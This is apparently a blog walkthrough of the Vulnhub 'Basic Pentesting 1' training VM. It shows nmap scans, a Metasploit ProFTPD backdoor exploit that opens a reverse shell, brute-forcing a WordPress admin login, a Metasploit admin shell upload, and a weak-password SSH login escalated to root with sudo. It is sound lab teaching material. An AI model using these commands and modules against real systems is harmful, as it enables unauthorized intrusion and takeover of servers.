Vulnhub Walkthrough: Basic Pentesting 1

Setup

Go to the Basic Pentesting 1 entry on Vulnhub and download the .ova file. The description is as follows:

This is a small boot2root VM I created for my university’s cyber security group. It contains multiple remote vulnerabilities and multiple privilege escalation vectors. I did all of my testing for this VM on VirtualBox, so that’s the recommended platform. I have been informed that it also works with VMware, but I haven’t tested this personally.

This VM is specifically intended for newcomers to penetration testing. If you’re a beginner, you should hopefully find the difficulty of the VM to be just right.

Your goal is to remotely attack the VM and gain root privileges. Once you’ve finished, try to find other vectors you might have missed! If you enjoyed the VM or have questions, feel free to contact me at: josiah@vt.edu

If you finished the VM, please also consider posting a writeup! Writeups help you internalize what you worked on and help anyone else who might be struggling or wants to see someone else’s process. I look forward to reading them!

The description makes it clear that this should be easy box to get root access for but it would be interesting to find the multiple ways to achieve this goal.

Loading the .ova file into VirtualBox yields a Ubuntu 16.04 environment:

Basic Pentesting 1: Virtual Machine

For the purpose of this tutorial, we should pretend this server is on a remote host where we cannot log into the Guest Session nor see the "marlinspike" username.

To find the IP address of the machine, we can do a ping sweep with nmap:

nmap -sn 192.168.0.0/24
...
Nmap scan report for 192.168.0.28
Host is up (0.00014s latency).
MAC Address: 08:00:27:14:06:50 (Oracle VirtualBox virtual NIC)
...

From the output, we can see the virtual machine is running on 192.168.0.28 and we can begin our attack.

Service Enumeration

We can do an aggressive nmap scan to reveal which ports are open and which services are running:

nmap -A 192.168.0.28
Nmap scan report for 192.168.0.28
Host is up (0.00013s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
|_  256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds

This aggressive scan shows there are at least 3 services running:

  1. FTP on port 21 using ProFTPD 1.3.3.c
  2. SSH on port 22 using OpenSSH
  3. HTTP on port 80 using Apache httpd 2.4.18

FTP Service Exploitation

We can use searchsploit to check for known vulnerabilities in ProFTPD 1.3.3c:

searchsploit proftpd 1.3.3c

This yields two results:

Checking these results, it is immediately clear that there may be a backdoor available to exploit by using Metasploit:

root@kali:~# msfconsole
msf > search proftpd 1.3.3c
msf > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > set RHOST 192.168.0.28
msf exploit(proftpd_133c_backdoor) > run

[*] Started reverse TCP double handler on 192.168.0.45:4444 
[*] 192.168.0.28:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo tUAJiLNADabc9LWA;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "tUAJiLNADabc9LWA\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.0.45:4444 -> 192.168.0.28:55762) at 2018-08-25 09:29:41 -0400

We now have a shell session on the remote server. We can get a nicer shell with a bit of python:

python -c 'import pty; pty.spawn("/bin/bash")'

We now have root access:

root@vtcsec:/#

This attack was incredibly easy but gives a good opportunity to use the tools above.

The story behind this attack vector is quite interesting:

On Sunday, the 28th of November 2010 around 20:00 UTC the main
distribution server of the ProFTPD project was compromised.  The
attackers most likely used an unpatched security issue in the FTP daemon
to gain access to the server and used their privileges to replace the
source files for ProFTPD 1.3.3c with a version which contained a backdoor.
The unauthorized modification of the source code was noticed by
Daniel Austin and relayed to the ProFTPD project by Jeroen Geilman on
Wednesday, December 1 and fixed shortly afterwards.

HTTP Service Exploitation

Opening a browser to http://192.168.0.28 yields a simple "It Works" page. However, we can see there is more running on the webserver than meets the eye with dirb:

dirb http://192.168.0.28
root@kali:~# dirb http://192.168.0.28

+ http://192.168.0.28/index.html (CODE:200|SIZE:177)

==> DIRECTORY: http://192.168.0.28/secret/
+ http://192.168.0.28/secret/index.php (CODE:301|SIZE:0)                   
==> DIRECTORY: http://192.168.0.28/secret/wp-admin/
==> DIRECTORY: http://192.168.0.28/secret/wp-content/
==> DIRECTORY: http://192.168.0.28/secret/wp-includes/

...

Now it is clear there is a WordPress installation at http://192.168.0.28/secret:

Basic Pentesting 1: Secret Website

The styling does not appear to be correct though as the page does not look very nice. By various means such as inspecting the source code or checking the network requests in the browser developer console, we are able to see the HTTP requests for the frontend files are coming from a domain "vtcsec". For example, the browser is making the following requests:

By adding the following line to the local machine /etc/host file, we can set "vtcsec" to resolve to 192.168.0.28:

echo "192.168.0.28 vtcsec" >> /etc/hosts

Now when the website is loaded in the browser, it loads everything in as expected:

Basic Pentesting 1: Secret WordPress Blog

We can automate the enumeration of the WordPress website with wp-scan:

wp-scan --url 192.168.0.28 --enumerate
...
[+] WordPress version 4.9.8 (Released on 2018-08-02) identified from advanced fingerprinting, meta generator, links opml, stylesheets numbers

[+] WordPress theme in use: twentyseventeen - v1.4

[+] No plugins found

[+] No themes found

[+] No timthumb files found

[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
    +----+-------+-------------------+
    | Id | Login | Name              |
    +----+-------+-------------------+
    | 1  | admin | admin – My secret |
    +----+-------+-------------------+
[!] Default first WordPress username 'admin' is still used

...

From the output, it would seem there is no attack vector with any vulnerable plugins, themes or other files. The only useful information is the default username of "admin" that we can try to brute force:

wp-scan --url http://192.168.0.28/secret --wordlist /usr/share/wordlists/dirb/big.txt
...
[!] Default first WordPress username 'admin' is still used
[+] Starting the password brute forcer
  [!] ERROR: We received an unknown response for login: admin and password: admin 
...

This time the output shows the brute forcer found a match with admin/admin credentials. We can not log in to the WordPress portal at http://192.168.0.28/secret/wp-login.php:

Basic Penesting 1: WordPress Admin Portal

From here there would be many ways to upload a reverse shell onto the server by adding or modifying some part of the PHP codebase with the WordPress Editor features. It is also easy enough to simply use Metasploit though:

msfconsole
msf > use unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > set RHOST 192.168.0.28
msf exploit(wp_admin_shell_upload) > set USERNAME admin
msf exploit(wp_admin_shell_upload) > set PASSWORD admin
msf exploit(wp_admin_shell_upload) > set TARGETURI /secret
msf exploit(wp_admin_shell_upload) > run

We are greeted with a meterpreter session as username www-data:

meterpreter > getuid
Server username: www-data (33)

As usual, we can spawn a nicer shell with python:

meterpreter > shell
Process 8212 created.
Channel 7 created.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@vtcsec:/var/www/html/secret/wp-content/plugins/aqzNpaNdmm$ 

It's not easy to escalate the privileges from www-data user to root from here. However, we can see there are others users on the box by checking the /etc/passwd file:

cat /etc/passwd
...
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
...

The only non-system user is "marlinspike" and we can see this user has sudo permissions:

groups marlinspike
marlinspike : marlinspike adm cdrom sudo dip plugdev lpadmin sambashare

If we can access the box with this user's account, then we will have root access as well.

SSH Service Exploitation

Given that we had easy WordPress assess with the username admin and the password admin, it is feasible we can assess the box with SSH username marlinspike and the same password.

ssh marlinspike@192.168.0.28

Entering the password "marlinspike" at the prompt does indeed grant access to the box. We can quickly elevate to root privileges too:

sudo su

Entering the password yields a shell with root permissions:

root@vtcsec:/home/marlinspike#

In this case, we didn't really exploit the SSH service - we just guessed at an incredibly weak password that happened to be exploitable using SSH. This is quite often the case with many login systems though.

World-Writeable /etc/passwd

I checked other walkthroughs for this vm and it seems other people could escalate to root by exploiting the fact /etc/passwd was world-writable (write permission for the public) - meaning they could edit this file in the meterpreter shell. However this was not the case for me as the file had different permissions set.

I reached out to the Josiah (the creator) using the email address in the description and he was unsure why this would be the case but it has been reported by other people too. If /etc/passwd is writable for anyone else who decides to try to break this machine, then go ahead and try to get root privileges in the meterpreter shell - otherwise, this isn't something that can be exploited.

Overview

Each of the three services discovered contained vulnerabilities that were relatively easy to exploit. For the FTP service, the exploit granted us root permission immediately but we had to use HTTP and SSH together to escalate to root permissions. This is nice to show that sometimes separate services need to be attacked together to get to the end result of root permissions.

Show Comments

Get the latest posts delivered right to your inbox.